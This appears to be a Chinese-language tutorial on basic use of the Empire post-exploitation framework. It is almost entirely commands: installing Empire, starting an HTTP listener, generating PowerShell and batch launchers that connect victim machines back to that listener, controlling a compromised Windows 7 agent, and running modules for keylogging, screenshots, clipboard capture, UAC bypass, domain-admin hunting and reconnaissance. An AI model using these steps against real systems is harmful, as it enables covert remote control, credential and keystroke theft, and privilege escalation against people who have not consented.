后渗透-Empire简单使用

git clone https://github.com/EmpireProject/Empire.gitsudo ./Empire/setup/install.shsudo ./setup/reset.shsudo ./Empire/empire

docker pull empireproject/empiredocker run -it -p 7000:7000 --name empire empireproject/empire /bin/bashsudo ./setup/reset.shsudo ./empire#pip install pefile初始运行可能缺少这个包

(Empire) > listeners(Empire) > uselistenner （tab）(Empire) > uselistener http           #使用http监听(Empire: listeners/http) >set Name test #重命名为test(Empire: listeners/http) >set Host http://192.168.1.1:7000(Empire: listeners/http) >set Port 7000(Empire: listeners/http) >execute #开始监听

(Empire) > list listeners

(Empire: listeners) > launcher powershell [监听器Name](Empire: listeners) > launcher powershell test

(Empire) > usestager windows/launcher_bat [监听器Name] #生成bat文件

(Empire) > usestager windows/launcher_bat test(Empire: stager/windows/launcher_bat) > info#显示配置项，相当于msf的show options(Empire: stager/windows/launcher_bat) > set #设置配置项，相当于msf的set(Empire: stager/windows/launcher_bat) > execute #运行

(Empire: agents) > rename HP79YL2R Win7

(Empire: agents) > interact Win7(Empire: Win7) > info

(Empire: Win7) > sleep 1(Empire: Win7) > getuid

(Empire: Win7) > usemodule (tab)

(Empire: Win7) > usemodule collection/screenshot(Empire: powershell/collection/screenshot) > info(Empire: powershell/collection/screenshot) > execute

jobsjobs kill [job_name] #停止任务

(Empire: Win7) > usemodule privesc/bypassuac(Empire: powershell/privesc/bypassuac) > info(Empire: powershell/privesc/bypassuac) > set Listenner test(Empire: powershell/privesc/bypassuac) > execute -y

collection/screenshot#截屏collection/keylogger#键盘记录collection/clipboard_monitor#剪贴板记录situational_awareness/network/powerview/share_finder#域内所有的共享situational_awareness/host/computerdetails#列举系统中所有有用的信息situational_awareness/network/arpscan #设置range扫描的网段situational_awareness/network/reverse_dns#DNS信息获取situational_awareness/network/powerview/user_hunter#查找域管登陆的机器situation_awareness/network/powerview/find_localadmin_access#本地管理组访问模块privesc/bypassuac #Bypass UACprivesc/pypassuac_wscript#绕过UAC实现管理员权限执行payload。